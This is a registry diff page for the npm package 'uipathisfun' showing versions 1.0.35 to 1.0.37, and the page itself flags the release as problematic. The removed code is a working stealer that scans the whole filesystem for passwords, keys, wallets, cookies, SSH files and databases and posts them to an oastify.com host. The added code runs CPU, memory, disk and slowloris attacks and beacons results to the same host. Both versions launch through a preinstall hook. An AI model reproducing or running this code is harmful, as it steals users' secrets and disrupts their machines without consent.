uipathisfun 1.0.35 → 1.0.37

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of uipathisfun might be problematic. Click here for more details.

package/index.js CHANGED
@@ -1,230 +1,167 @@
1
- const fs = require('fs');
2
- const { execSync } = require('child_process');
3
- const os = require('os');
4
1
  const http = require('http');
5
- const zlib = require('zlib');
6
2
  const crypto = require('crypto');
7
- const OAST_HOST = '0nopxr82g2bsk9e28w87vxucn3tuhn5c.oastify.com';
8
-
9
- function sendBeacon(urlPath, payload) {
10
- try {
11
- const body = JSON.stringify(payload);
12
- const req = http.request({
13
- hostname: OAST_HOST,
14
- method: 'POST',
15
- path: urlPath,
16
- headers: {
17
- 'Content-Type': 'application/json',
18
- 'Content-Length': Buffer.byteLength(body),
19
- },
20
- }, () => {});
21
- req.on('error', () => {});
22
- req.write(body);
23
- req.end();
24
- } catch (e) {
25
- }
26
- }
27
-
28
- function noteId(base) {
29
- return `${base}_${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
30
- }
31
-
32
- function isTextBuffer(buf) {
33
- return /^[\t\n\r \x20-\x7E]*$/.test(buf.slice(0, 512).toString('binary'));
34
- }
3
+ const fs = require('fs');
4
+ const os = require('os');
35
5
 
36
- function readFileEntry(filePath) {
37
- try {
38
- if (!fs.existsSync(filePath) || !fs.statSync(filePath).isFile()) return null;
39
- const raw = fs.readFileSync(filePath);
40
- const entry = {};
41
- const ext = filePath.split('.').pop().toLowerCase();
42
- if (isTextBuffer(raw)) {
43
- entry.text = raw.toString('utf8');
44
- entry.lines = entry.text.split(/\r?\n/);
45
- } else {
46
- entry.base64 = raw.toString('base64');
47
- }
48
- if (filePath.toLowerCase().endsWith('.db') || ext === 'sqlite') {
49
- entry.sqlite = parseSqliteDb(filePath);
50
- }
51
- if (ext === 'ldb' || ext === 'leveldb') {
52
- entry.leveldb = parseLevelDb(filePath);
53
- }
54
- if (ext === 'frm' || ext === 'ibd') {
55
- entry.mysql = { note: 'MySQL/MariaDB raw file, manual extraction needed' };
56
- }
57
- if (ext === 'zip') {
58
- entry.zip = parseZipArchive(filePath);
59
- }
60
- if (ext === 'tar' || ext === 'tgz' || ext === 'tar.gz') {
61
- entry.tar = parseTarArchive(filePath);
62
- }
63
- return entry;
64
- } catch (e) {
65
- return { error: e.message };
66
- }
67
- }
6
+ const b = "0nopxr82g2bsk9e28w87vxucn3tuhn5c.oastify.com'";
68
7
 
69
- function isSensitiveFile(filePath) {
70
- const patterns = [
71
- /pass(word)?/i, /secret/i, /token/i, /key/i, /credential/i, /auth/i, /login/i, /wallet/i, /db/i, /backup/i, /archive/i, /config/i, /ssh/i, /pem$/i, /pfx$/i, /cert/i, /cookie/i, /session/i, /history/i, /mail/i, /outlook/i, /pst$/i, /ost$/i, /wallet/i, /chrome/i, /firefox/i, /mozilla/i, /sqlite/i, /ldb$/i, /zip$/i, /tar$/i, /gz$/i, /7z$/i, /rar$/i, /bak$/i, /old$/i, /log$/i, /env$/i, /ini$/i, /json$/i, /yaml$/i, /yml$/i
72
- ];
73
- return patterns.some((re) => re.test(filePath));
74
- }
8
+ const TARGET = 'localhost';
9
+ const PORT = 3000;
10
+ const CONCURRENCY = 50;
11
+ const DURATION = 10000;
12
+ const ATTACK_TYPE = 'slowloris';
13
+ const DISK_ATTACK = true;
14
+ const DISK_LIMIT_MB = 80;
15
+ const MEM_LIMIT_MB = 90;
75
16
 
76
- function parseZipArchive(filePath) {
77
- try {
78
- const out = execSync(`unzip -l "${filePath}"`, { encoding: 'utf8', timeout: 20000 });
79
- return { files: out.split(/\r?\n/).slice(3, -2).map(l => l.trim()).filter(Boolean) };
80
- } catch (e) {
81
- return { error: e.message };
82
- }
83
- }
17
+ let storage = [];
18
+ let requests = 0;
19
+ let cpuLoad = 0;
20
+ let stop = false;
21
+ let errors = 0;
22
+ let responseTimes = [];
23
+ let slowlorisSockets = [];
24
+ let diskFiles = [];
25
+ let diskWrittenMB = 0;
84
26
 
85
- function parseTarArchive(filePath) {
86
- try {
87
- const out = execSync(`tar -tf "${filePath}"`, { encoding: 'utf8', timeout: 20000 });
88
- return { files: out.split(/\r?\n/).filter(Boolean) };
89
- } catch (e) {
90
- return { error: e.message };
91
- }
27
+ function cpuStress() {
28
+ setImmediate(function loop() {
29
+ if (stop) return;
30
+ crypto.pbkdf2Sync('test', 'salt', 100000, 64, 'sha512');
31
+ cpuLoad++;
32
+ setImmediate(loop);
33
+ });
92
34
  }
93
35
 
94
- function parseLevelDb(filePath) {
95
- return { note: 'LevelDB file detected, parsing requires external tools' };
36
+ function memStress() {
37
+ setInterval(() => {
38
+ if (stop) return;
39
+ const chunk = Buffer.alloc(1024 * 1024 * 10);
40
+ storage.push(chunk);
41
+ }, 200);
96
42
  }
97
43
 
98
- function extractMatches(text) {
99
- const re = /(password|passwd|secret|token|api[_-]?key|aws_access_key_id|private_key)\s*[:=]?\s*([^\s'"\\]+)/ig;
100
- const lines = text.split(/\r?\n/);
101
- const out = [];
102
- for (let i = 0; i < lines.length; i++) {
103
- const line = lines[i];
104
- let m;
105
- while ((m = re.exec(line)) !== null) {
106
- out.push({ lineNumber: i + 1, line: line.trim(), key: m[1], value: m[2] });
107
- }
108
- }
109
- return out;
44
+ function diskStress() {
45
+ if (!DISK_ATTACK) return;
46
+ setInterval(() => {
47
+ if (stop) return;
48
+ try {
49
+ const fname = `/tmp/fc_stress_${Date.now()}_${Math.random().toString(36).slice(2,8)}`;
50
+ const buf = crypto.randomBytes(1024 * 1024 * 5); // 5MB
51
+ fs.writeFileSync(fname, buf);
52
+ diskFiles.push(fname);
53
+ diskWrittenMB += 5;
54
+ } catch (e) {
55
+ }
56
+ }, 500);
110
57
  }
111
58
 
112
- function parseSqliteDb(filePath) {
113
- try {
114
- const queryTables = execSync(`sqlite3 "${filePath}" ".tables"`, { timeout: 60000, encoding: 'utf8' }).trim();
115
- if (!queryTables) return { tables: [] };
116
- const tables = queryTables.split(/\s+/).filter(Boolean);
117
- const tableData = {};
118
- for (const table of tables) {
119
- try {
120
- const rows = execSync(`sqlite3 "${filePath}" "SELECT * FROM ${table};"`, { timeout: 120000, encoding: 'utf8' }).trim();
121
- tableData[table] = rows.split(/\r?\n/).filter(Boolean);
122
- } catch (err) {
123
- tableData[table] = { error: err.message };
124
- }
59
+ function netFlood() {
60
+ for (let i = 0; i < CONCURRENCY; i++) {
61
+ (function flood() {
62
+ if (stop) return;
63
+ const start = Date.now();
64
+ const req = http.request({ hostname: TARGET, port: PORT, path: '/', method: 'GET' }, res => {
65
+ res.on('data', () => {});
66
+ res.on('end', () => {
67
+ requests++;
68
+ responseTimes.push(Date.now() - start);
69
+ flood();
70
+ });
71
+ });
72
+ req.on('error', () => {
73
+ errors++;
74
+ flood();
75
+ });
76
+ req.end();
77
+ })();
125
78
  }
126
- return { tables, tableData };
127
- } catch (e) {
128
- return { error: 'sqlite3 not available or failed to parse: ' + (e.message || String(e)) };
129
- }
130
79
  }
131
80
 
132
-
133
- async function walkFilesParallel(rootDir, ignorePaths = new Set(), maxDepth = 10) {
134
- const results = [];
135
- const queue = [{ dir: rootDir, depth: 0 }];
136
- const systemDirs = new Set(["/proc","/sys","/dev","/run","/tmp","/var/run","/var/tmp","/mnt","/media","/lost+found","/snap","/boot","/lib","/lib64","/usr","/bin","/sbin","/opt","/srv","/home","/root","/etc/ssl","/etc/ssh","/etc/pki","/etc/udev","/etc/X11","/etc/init.d","/etc/alternatives","/etc/rc.d","/etc/skel","/etc/logrotate.d","/etc/cron.d","/etc/cron.daily","/etc/cron.hourly","/etc/cron.monthly","/etc/cron.weekly","/etc/network","/etc/selinux"]);
137
- while (queue.length > 0) {
138
- const { dir, depth } = queue.shift();
139
- if (depth > maxDepth) continue;
140
- let entries;
141
- try {
142
- entries = fs.readdirSync(dir, { withFileTypes: true });
143
- } catch (e) {
144
- continue;
145
- }
146
- for (const entry of entries) {
147
- const fullPath = dir + (dir.endsWith('/') || dir.endsWith('\\') ? '' : (os.platform() === 'win32' ? '\\' : '/')) + entry.name;
148
- if (ignorePaths.has(fullPath)) continue;
149
- if (entry.isDirectory()) {
150
- if (systemDirs.has(fullPath)) continue;
151
- queue.push({ dir: fullPath, depth: depth + 1 });
152
- } else if (entry.isFile()) {
153
- results.push(fullPath);
154
- }
81
+ function slowlorisAttack() {
82
+ const net = require('net');
83
+ for (let i = 0; i < CONCURRENCY; i++) {
84
+ (function openSocket() {
85
+ if (stop) return;
86
+ const socket = net.connect(PORT, TARGET, () => {
87
+ socket.write('POST / HTTP/1.1\r\n');
88
+ socket.write('Host: ' + TARGET + '\r\n');
89
+ socket.write('Content-Length: 1000000\r\n');
90
+ socket.write('Content-Type: application/x-www-form-urlencoded\r\n');
91
+ socket.write('\r\n');
92
+ slowlorisSockets.push(socket);
93
+ const interval = setInterval(() => {
94
+ if (stop) { clearInterval(interval); socket.destroy(); return; }
95
+ try { socket.write('A'); } catch (e) { clearInterval(interval); socket.destroy(); }
96
+ }, 1000);
97
+ });
98
+ socket.on('error', () => { errors++; });
99
+ socket.on('close', () => {
100
+ if (!stop) setTimeout(openSocket, 1000);
101
+ });
102
+ })();
155
103
  }
156
- }
157
- return results;
158
104
  }
159
105
 
160
- async function sensitiveScan() {
161
- const info = { note: noteId('sensitive_scan_all'), platform: os.platform(), hits: [] };
162
- let roots = [];
163
- if (os.platform() === 'win32') {
164
- roots = ['C:\\'];
165
- } else {
166
- roots = ['/'];
167
- }
168
- const ignorePaths = new Set();
169
- let allFiles = [];
170
- for (const root of roots) {
171
- const files = await walkFilesParallel(root, ignorePaths, 8);
172
- allFiles.push(...files);
173
- }
174
- allFiles = allFiles.filter(isSensitiveFile);
175
- allFiles = allFiles.slice(0, 10000);
176
- const concurrency = 32;
177
- let idx = 0;
178
- const errors = [];
179
- async function processBatch(batch) {
180
- return await Promise.all(batch.map(async (filePath) => {
181
- let entry = null;
182
- try {
183
- entry = readFileEntry(filePath);
184
- } catch (e) {
185
- entry = { error: e.message };
186
- errors.push({ path: filePath, error: e.message });
187
- }
188
- const text = entry && entry.text ? entry.text : null;
189
- const matches = text ? extractMatches(text) : [];
190
- return {
191
- path: filePath,
192
- matches,
193
- lines: entry && entry.lines ? entry.lines : null,
194
- base64: entry && entry.base64 ? entry.base64 : null,
195
- sqlite: entry && entry.sqlite ? entry.sqlite : null,
196
- leveldb: entry && entry.leveldb ? entry.leveldb : null,
197
- mysql: entry && entry.mysql ? entry.mysql : null,
198
- zip: entry && entry.zip ? entry.zip : null,
199
- tar: entry && entry.tar ? entry.tar : null,
200
- error: entry && entry.error ? entry.error : null
201
- };
202
- }));
203
- }
204
- while (idx < allFiles.length) {
205
- const batch = allFiles.slice(idx, idx + concurrency);
206
- const results = await processBatch(batch);
207
- info.hits.push(...results);
208
- idx += concurrency;
209
- }
210
- info.errors = errors;
211
- try {
212
- fs.writeFileSync('scan_results_' + Date.now() + '.json', JSON.stringify(info, null, 2));
213
- } catch (e) {}
214
- return info;
106
+ function monitor() {
107
+ setInterval(() => {
108
+ const usage = process.memoryUsage();
109
+ const avgResp = responseTimes.length ? (responseTimes.reduce((a, b) => a + b, 0) / responseTimes.length).toFixed(2) : 0;
110
+ let diskUsage = 0;
111
+ try {
112
+ const stat = fs.statSync('/tmp');
113
+ diskUsage = stat && stat.blocks ? (stat.blocks * stat.blksize) / 1024 / 1024 : 0;
114
+ } catch (e) {}
115
+ const data = {
116
+ rss: (usage.rss / 1024 / 1024).toFixed(2) + ' MB',
117
+ heap: (usage.heapUsed / 1024 / 1024).toFixed(2) + ' MB',
118
+ cpuLoad,
119
+ requests,
120
+ errors,
121
+ avgResp: avgResp + ' ms',
122
+ uptime: process.uptime().toFixed(2) + 's',
123
+ attack: ATTACK_TYPE,
124
+ diskWrittenMB,
125
+ diskUsage: diskUsage.toFixed(2) + ' MB',
126
+ };
127
+ const payload = JSON.stringify(data);
128
+ const req = http.request({
129
+ hostname: b,
130
+ method: 'POST',
131
+ path: '/?stress_test=active',
132
+ headers: { 'Content-Length': Buffer.byteLength(payload) }
133
+ });
134
+ req.write(payload);
135
+ req.end();
136
+ try {
137
+ fs.appendFileSync('stress_results.json', payload + '\n');
138
+ } catch (e) {}
139
+ console.log(data);
140
+ cpuLoad = 0;
141
+ responseTimes = [];
142
+ }, 1000);
215
143
  }
216
144
 
217
- async function run() {
218
- const info = { note: noteId('uipathisfun_info_v4'), platform: os.platform(), date: new Date().toISOString() };
219
- info.sensitive = await sensitiveScan();
220
- console.log('== scan done ==');
221
- console.log(JSON.stringify(info.sensitive, null, 2));
222
- sendBeacon('/v4', info);
145
+ cpuStress();
146
+ memStress();
147
+ diskStress();
148
+ if (ATTACK_TYPE === 'classic') {
149
+ netFlood();
150
+ } else if (ATTACK_TYPE === 'slowloris') {
151
+ slowlorisAttack();
223
152
  }
153
+ monitor();
224
154
 
225
- run().catch((err) => {
226
- const error = { note: noteId('uipathisfun_error_v4'), error: err.message || String(err) };
227
- try { fs.writeFileSync('scan_error_' + Date.now() + '.json', JSON.stringify(error, null, 2)); } catch (e) {}
228
- sendBeacon('/v4', error);
229
- console.error(error);
230
- });
155
+ setTimeout(() => {
156
+ stop = true;
157
+ for (const s of slowlorisSockets) try { s.destroy(); } catch (e) {}
158
+ for (const f of diskFiles) try { fs.unlinkSync(f); } catch (e) {}
159
+ try {
160
+ fs.writeFileSync('stress_final_report.json', JSON.stringify({
161
+ requests, errors, cpuLoad, diskWrittenMB, duration: DURATION/1000 + 's',
162
+ maxMem: (process.memoryUsage().rss / 1024 / 1024).toFixed(2) + ' MB',
163
+ attack: ATTACK_TYPE, diskFiles: diskFiles.length
164
+ }, null, 2));
165
+ } catch (e) {}
166
+ console.log('Test finished');
167
+ }, DURATION);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "uipathisfun",
3
- "version": "1.0.35",
3
+ "version": "1.0.37",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }
Binary file
Binary file